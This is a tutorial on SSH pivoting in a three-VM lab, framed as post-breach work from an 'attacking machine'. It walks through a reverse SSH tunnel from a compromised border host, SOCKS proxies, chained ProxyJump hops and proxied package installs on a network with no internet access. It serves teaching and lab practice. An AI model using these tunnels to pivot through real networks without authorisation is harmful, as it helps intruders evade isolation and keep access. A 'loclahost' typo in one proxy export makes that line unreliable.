SSH ProxyJump Tunneling
Recently we had someone in the local hacker community reach out over our community chat and ask about solving a particular roadblock.
The Problem
A summary of the scenario that was presented:
Say you have established a reverse SSH tunnel on an external/internal boundary host but it nor any other internal host has internet access. Is there any effective way to proxy or pipe your internet connection to that host to directly install a package from the Internet?
The initial response was just to grab the needed package transfer it to the box and install it locally but this person wanted to install more complex packages with branching dependencies and that made it a bit more of a hassle than was desired.
So my recommendation was to use an SSH Socks proxy back out to the attacking machine and point their package manager at it. And I figured I would write up a short demo to share.
This is a little bit of a strange scenario given that the boundary device can ssh out but is not able to browse the internet. I have to assume this is more of a “start with VPN access” situation or something otherwise it just seems like a kind of big security oversight. So I assume that our attacking box has VPN access to an internal network but is unable to SSH directly to a target server, but that server is allowed to SSH out to other machines on the VPN network. I will try and make the rest of this fit that specific scenario as closely as possible.
Test Environment Setup
Before we talk about SSH let’s set up a testing environment. For this, I have created 3 identical Linux virtual machines using VirtualBox with different network configurations.
- External-VM (Our attacking machine)
- Adapter 1: NAT (Has Internet Access)
- Adapter 2: Internal Network (Intnet)
- Border-VM
- Adapter 1: Internal Network (Intnet)
- Adapter 2: Internal Network (Corpnet)
- Internal-VM
- Adapter 1: Internal Network (Corpnet)
You should end up with a network that looks like this.
After we build our VMs and set the appropriate network adapter configurations we can set up the VirtualBox DHCP server to handle our internal networks just to make things easy.
To do that we need to run the following commands from our host machine.
> .\VBoxManage.exe dhcpserver add --netname intnet --ip 10.10.10.1 --netmask 255.255.255.0 --lowerip 10.10.10.10 --upperip 10.10.10.20 --enable
> .\VBoxManage.exe dhcpserver add --netname corpnet --ip 10.10.20.1 --netmask 255.255.255.0 --lowerip 10.10.20.10 --upperip 10.10.20.20 --enable
This will allow machines on the Intnet
internal network to be assigned a 10.10.10.*
IP and machines on the Corpnet
will have a 10.10.20.*
IP.
Now we can spin up our machines and ensure our networking is working as intended.
One last thing, for scenario accuracy we need to run the following iptables command on the Border-VM
to ensure we are unable to SSH directly to it from our External-VM
machine. Make sure to replace enp0s8
with the name of the interface your Border-VM
is using to connect to the Intnet
internal network if you are following along.
> sudo iptables -A INPUT -i enp0s8 -p tcp --destination-port 22 -j DROP
External-VM
Border-VM
Internal-VM
Ready to Go
Now that our VMs are set up and configured let us see if we can set up an SSH socks proxy to our External-VM
machine and get a package installed on Internal-VM
which currently is behind Border-VM
, neither of which can access the internet directly.
For the sake of a plausible narrative that fits our scenario, we will assume an internal web application was compromised that is accessible on the “VPN” (Intnet) network and resides on Border-VM
. This is an assumed access/breach scenario so we are not going over getting to the internal machine. Instead, we will assume that we are already on the internal network, and to stick as closely as possible to the presented scenario we will start with setting up a reverse ssh tunnel from Border-VM
to our attacking machine External-VM
.
Setting up a reverse SSH tunnel from Border-VM to External-VM
From our access on Border-VM
we will create a remote port forward on External-VM
back to port 22
on Border-VM
to do this we can issue the following command on Border-VM
.
> ssh -fNR 2222:localhost:22 wheatley@10.10.10.10
The command works as follows:
- f - fork to the background
- N - Do not execute a remote command. (This is required because -f usually expects a command to run but we want to keep the connection alive)
- R 2222:localhost:22 - Remote port forward, forward port 2222 of the target
10.10.10.10 (External-VM)
to port 22 of localhostBorder-VM
.
Connect to Border-VM from External-VM over forwarded port
Now that we have a remote port forward on our attacking machine we can connect back to the Border-VM
over SSH like so.
> ssh borderuser@localhost -p 2222
Now we have direct SSH access to the Border-VM
from our attacking box. We are only one box in but just for the sake of practice, let us see if we can set up a dynamic proxy back to External-VM
and get internet access here.
To do this we can set up a dynamic proxy back to our attacker box and use that to access the internet.
> ssh -fND 9999 wheatley@10.10.10.10
As a test we can tell curl
to use our socks5 proxy and as you can see we can talk out to google now.
Going deeper
So we are on the boundary of this fake network at this point, but again for the sake of practice let’s delve a little deeper and see if we can get back out. From Border-VM
we can access the internet averse internal network of Corpnet (10.10.20.*)
. So still working under the assumption of breach let’s connect to Internal-VM
from our SSH access on Border-VM
.
Now we are on the Internal-VM
and once again we do not have internet access.
Quick recap of our connection sequence.
- Out from
Border-VM
toExternal-VM
with remote port forward.ssh -fNR 2222:localhost:22 wheatley@10.10.10.10
External-VM
back inward toBorder-VM
over establish port forward.ssh borderuser@localhost -p 2222
Border-VM
toInternal-VM
over straight forward SSH.ssh internaluser@10.10.20.11
So let’s get back out with ProxyJump! ProxyJump was introduced in OpenSSH 7.3 and has made using jump host a lot easier.
Set up our ssh tunnel from Internal-VM
back out to External-VM
like so.
> ssh -J borderuser@10.10.20.10 -fND 9999 wheatley@10.10.10.10
This is just like the previous dynamic proxy only we are not adding a -J
ProxyJump host to pivot through. The best thing is you can chain these like -J user@host1,user@host2,user@host3 ...
and pivot out of a deep network if you need to.
Some things to note!
Often certain actions break down when going through a proxy, especially when you start using jump hosts. The one you will probably notice first is DNS resolution. For example, our previous curl with a proxy argument will fail to resolve DNS and if we use a direct IP it still functions. There are a few ways around this. The first one to try is setting environment variables used by libcurl
which is widely used by the system.
This can be done by prefixing your commands with environment variable overrides/definitions like so.
env http_proxy=socks5h://localhost:9999 HTTPS_PROXY=socks5h://localhost:9999 ALL_PROXY=socks5h://localhost:9999 [COMMAND] [ARGS]
Note: If you are tunneling a browser out of a network you may also need to configure remote DNS in your browser settings.
You may also wish to export all the environment variables so they are set and you don’t have to prepend every command like this.
export ftp_proxy=socks5h://loclahost:9999; export http_proxy=socks5h://localhost:9999; export HTTPS_PROXY=socks5h://localhost:9999; export ALL_PROXY=socks5h://localhost:9999
Some other things to note!
One last gotcha, typically when you are installing a package on Linux you are running a package manager with elevated permissions. If you have to use sudo
to install your package it will ignore environment variables from your userspace. You will need to pass -E
to preserve variables from the user’s environment. It is also worth noting that the ability to preserve user variables when using sudo can be controlled by security policy and could be blocked for your user.
Installing a package over our ProxyJump SSH tunnel.
Lastly, let us install proxychains-ng
on our Internal-VM
machine over our ProxyJump SSH tunnel.
> export ftp_proxy=socks5h://loclahost:9999; export http_proxy=socks5h://localhost:9999; export HTTPS_PROXY=socks5h://localhost:9999; export ALL_PROXY=socks5h://localhost:9999
> sudo -E pacman -S proxychains-ng
And there you have it, we are on the innermost network that does not have internet access and we have tunneled out to our attacking machine to install packages over the internet.
Final notes and test with Proxychains-NG
As a quick note, SSH does have other ways to forward ports that are super useful as well and should be in your arsenal. For instance, you can forward a local port to a remote system with the -L
argument. So if you know what you are after you can open a single port directly to your target.
> ssh –L 9999:10.10.20.30:443 user@hostinthemiddle
This would allow you to point a browser at localhost:9999
and view what is hosted at 10.10.20.30:443
through a system hostinthemiddle
which had access to that resource.
And just for fun let’s test out our newly installed proxy chains.